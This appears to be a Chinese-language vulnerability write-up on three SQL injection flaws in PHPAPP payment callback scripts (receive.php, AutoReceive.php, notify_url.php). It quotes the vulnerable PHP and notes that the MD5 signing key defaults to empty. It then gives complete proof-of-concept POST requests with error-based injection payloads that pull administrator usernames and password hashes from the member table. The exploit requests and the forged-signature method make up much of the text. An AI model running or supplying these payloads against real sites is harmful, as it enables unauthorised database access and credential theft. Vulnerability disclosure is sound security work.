第一个漏洞: PHPAPP网站应用系统官方最新版SQL注入 程序官网:http://www.phpapp.cn/index.html 在文件/api/chinabank/receive.php中:
<? include('../../api.php'); $key=PHPAPP::$config['chinabankkey']; //登陆后在上面的导航栏里可能找到“资料管理”,在资料管理的二级导航栏里有“MD5密钥设置” $v_oid =trim($_POST['v_oid']); // 商户发送的v_oid定单编号 $v_pmode =trim($_POST['v_pmode']); // 支付方式(字符串) $v_pstatus =trim($_POST['v_pstatus']); // 支付状态 :20(支付成功);30(支付失败) $v_pstring =trim($_POST['v_pstring']); // 支付结果信息 : 支付完成(当v_pstatus=20时);失败原因(当v_pstatus=30时,字符串); $v_amount =trim($_POST['v_amount']); // 订单实际支付金额 $v_moneytype =trim($_POST['v_moneytype']); //订单实际支付币种 $remark1 =trim($_POST['remark1']); //备注字段1 $remark2 =trim($_POST['remark2']); //备注字段2 $v_md5str =trim($_POST['v_md5str']); //拼凑后的MD5校验值 $md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key)); @include_once(APPS.'/pay/class/pay_class_phpapp.php'); $pay=new PayMoney(); if($v_md5str==$md5string){ if($v_pstatus=="20"){ $pay->SetPayMoney($v_oid,$v_amount,'ChinaBank'); }else{ $pay->PayError(); } }else{ $pay->PayError(); } ?>
从上面看出: 当$v_md5str==$md5string,也就是就将我们输入的参数都md5一下,并且$v_pstatus=="20",即返回状态为20时, 进入SetPayMoney操作,
public function SetPayMoney($order,$paymoney=0,$payname=''){ //if($this->uid >0){ if($this->IsSQL('consume'," WHERE serial='$order' AND amount='$paymoney'")){ //$this->Refresh('该订单已支付过了',SURL); $this->Refresh('充值成功!',SURL.'/member.php?app=5'); }else{ if($this->IsSQL('pay'," WHERE payorder='$order' AND paymoney='$paymoney'")){ $payname=$this->str($payname,26,1,0,1,0,1); $apps=$this->GetMysqlOne('id_phpapp,name_phpapp'," ".$this->GetTable('apps')." WHERE class_phpapp='$payname'"); $payarray=$this->GetMysqlOne('payuid'," ".$this->GetTable('pay')." WHERE payorder='$order' AND paymoney='$paymoney' "); //记录 include_once(APPS.'/apppay/class/consume_class_phpapp.php'); $pay=new UserConsume(); $newcid=$pay->MakeConsume(array( 'subject'=>'<p>充值</p>'.$apps['name_phpapp'], 'appid'=>$apps['id_phpapp'], 'serial'=>$order, 'paytype'=>3, 'process'=>1, 'amount'=>$paymoney, 'payout'=>0, 'payin'=>$payarray['payuid'] )); $pay->SetSuccessConsume($newcid); //$this->Delete('pay'," WHERE payorder='$order' AND paymoney='$paymoney' AND payuid='$this->uid' "); $this->Refresh('充值成功!',SURL.'/member.php?app=5'); }else{ $this->Refresh('该订单不存在或已关闭!',SURL); } } //}else{ // $this->Refresh($this->LanguageArray('phpapp','Please_login_actions'),SURL);//} }
直接进入SQL查询,导致SQL注入。 第二个漏洞: PHPAPP网站应用系统官方最新版SQL注入 程序官网:http://www.phpapp.cn/index.html 在文件/api/alipay/notify_url.php中:
<?php include('../../api.php'); $app=empty($_GET['app']) ? 0 : intval($_GET['app']); $lang=empty($_GET['lang']) ? 1 : intval($_GET['lang']); @require_once(APPS.'/alipay/alipay_config.php'); @require_once(APPS.'/alipay/class/alipay_notify.php'); @$alipay = new alipay_notify($partner,$key,$sign_type,$_input_charset,$transport); @$verify_result = $alipay->notify_verify(); @include_once(APPS.'/pay/class/pay_class_phpapp.php'); $pay=new PayMoney(); if($verify_result){ //验证成功 $dingdan = $_POST['out_trade_no']; //获取支付宝传递过来的订单号 $total = $_POST['total_fee']; //获取支付宝传递过来的总价格 if($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') { $pay->SetPayMoney($dingdan,$total,'Alipay'); }else { $pay->PayError(); } }else { $pay->PayError(); } ?>
能看出当验证成功时,进入SetPayMoney操作:
public function SetPayMoney($order,$paymoney=0,$payname=''){ //if($this->uid >0){ if($this->IsSQL('consume'," WHERE serial='$order' AND amount='$paymoney'")){ //$this->Refresh('该订单已支付过了',SURL); $this->Refresh('充值成功!',SURL.'/member.php?app=5'); }else{ if($this->IsSQL('pay'," WHERE payorder='$order' AND paymoney='$paymoney'")){ $payname=$this->str($payname,26,1,0,1,0,1); $apps=$this->GetMysqlOne('id_phpapp,name_phpapp'," ".$this->GetTable('apps')." WHERE class_phpapp='$payname'"); $payarray=$this->GetMysqlOne('payuid'," ".$this->GetTable('pay')." WHERE payorder='$order' AND paymoney='$paymoney' "); //记录 include_once(APPS.'/apppay/class/consume_class_phpapp.php'); $pay=new UserConsume(); $newcid=$pay->MakeConsume(array( 'subject'=>'<p>充值</p>'.$apps['name_phpapp'], 'appid'=>$apps['id_phpapp'], 'serial'=>$order, 'paytype'=>3, 'process'=>1, 'amount'=>$paymoney, 'payout'=>0, 'payin'=>$payarray['payuid'] )); $pay->SetSuccessConsume($newcid); //$this->Delete('pay'," WHERE payorder='$order' AND paymoney='$paymoney' AND payuid='$this->uid' "); $this->Refresh('充值成功!',SURL.'/member.php?app=5'); }else{ $this->Refresh('该订单不存在或已关闭!',SURL); } } //}else{ // $this->Refresh($this->LanguageArray('phpapp','Please_login_actions'),SURL);//} }
这里是验证支付宝返回是否成功。 由于需要支付宝的接口配置,在正常环境下,此功能都是可用的。 这里我们假设返回验证成功了。 @$verify_result = $alipay->notify_verify() ? true : true; 第三个漏洞: PHPAPP网站应用系统官方最新版SQL注入 程序官网:http://www.phpapp.cn/index.html 在文件/api/chinabank/AutoReceive.php中:
$key=PHPAPP::$config['chinabankkey']; //登陆后在上面的导航栏里可能找到“资料管理”,在资料管理的二级导航栏里有“MD5密钥设置” $v_oid =trim($_POST['v_oid']); // 商户发送的v_oid定单编号 $v_pmode =trim($_POST['v_pmode']); // 支付方式(字符串) $v_pstatus =trim($_POST['v_pstatus']); // 支付状态 :20(支付成功);30(支付失败) $v_pstring =trim($_POST['v_pstring']); // 支付结果信息 : 支付完成(当v_pstatus=20时);失败原因(当v_pstatus=30时,字符串); $v_amount =trim($_POST['v_amount']); // 订单实际支付金额 $v_moneytype =trim($_POST['v_moneytype']); //订单实际支付币种 $remark1 =trim($_POST['remark1']); //备注字段1 $remark2 =trim($_POST['remark2']); //备注字段2 $v_md5str =trim($_POST['v_md5str']); //拼凑后的MD5校验值 $md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key)); @include_once(APPS.'/pay/class/pay_class_phpapp.php'); $pay=new PayMoney(); if($v_md5str==$md5string){ if($v_pstatus=="20"){ $pay->SetPayMoney($v_oid,$v_amount,'ChinaBankPay'); }else{ $pay->PayError(); } }else{ $pay->PayError(); }
这里直接获取POST过来的参数,并没有过滤 也没有判断访问权限,所以无需登录,可以直接访问。 而且这里的$key是默认为空。 当满足条件时就会进行SetPayMoney操作,我们来看看此函数:
public function SetPayMoney($order,$paymoney=0,$payname=''){ //if($this->uid >0){ if($this->IsSQL('consume'," WHERE serial='$order' AND amount='$paymoney'")){ //$this->Refresh('该订单已支付过了',SURL); $this->Refresh('充值成功!',SURL.'/member.php?app=5'); }else{ if($this->IsSQL('pay'," WHERE payorder='$order' AND paymoney='$paymoney'")){ $payname=$this->str($payname,26,1,0,1,0,1); $apps=$this->GetMysqlOne('id_phpapp,name_phpapp'," ".$this->GetTable('apps')." WHERE class_phpapp='$payname'"); $payarray=$this->GetMysqlOne('payuid'," ".$this->GetTable('pay')." WHERE payorder='$order' AND paymoney='$paymoney' "); //记录 include_once(APPS.'/apppay/class/consume_class_phpapp.php'); $pay=new UserConsume(); $newcid=$pay->MakeConsume(array( 'subject'=>'<p>充值</p>'.$apps['name_phpapp'], 'appid'=>$apps['id_phpapp'], 'serial'=>$order, 'paytype'=>3, 'process'=>1, 'amount'=>$paymoney, 'payout'=>0, 'payin'=>$payarray['payuid'] )); $pay->SetSuccessConsume($newcid); //$this->Delete('pay'," WHERE payorder='$order' AND paymoney='$paymoney' AND payuid='$this->uid' "); $this->Refresh('充值成功!',SURL.'/member.php?app=5'); }else{ $this->Refresh('该订单不存在或已关闭!',SURL); } } }
$order,$paymoney参数直接进入SQL语句,导致SQL注入。
第一个漏洞证明: 发送请求: 连接: http://localhost/phpapp/api/Chinabank/receive.php POST: v_oid=yu' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) and 1=1#&v_pstatus=20&v_md5str=043B304ECA76E89F9A44DE11A0D3D03C 即可爆出管理员账户:
第二个漏洞证明: 这里是验证支付宝返回是否成功。 由于需要支付宝的接口配置,在正常环境下,此功能都是可用的。 这里我们假设返回验证成功了。 @$verify_result = $alipay->notify_verify() ? true : true; 发送请求: 连接: http://localhost/phpapp/api/alipay/notify_url.php POST: out_trade_no=123' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) and 1=1#&total_fee=123&trade_status=TRADE_SUCCESS 成功爆出管理员账户:
第三个漏洞证明: 发送请求: 连接: http://localhost/phpapp/api/Chinabank/autoreceive.php POST: v_oid=123' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) and 1=1#&v_pstatus=20&v_amount=&v_moneytype=&v_md5str=BBDDD3F7BDE73D3519A838E71F75385F 这里的v_md5str的值必须是前面你所提交的所有参数的md5值。 如图,成功爆出管理员账户用户名密码。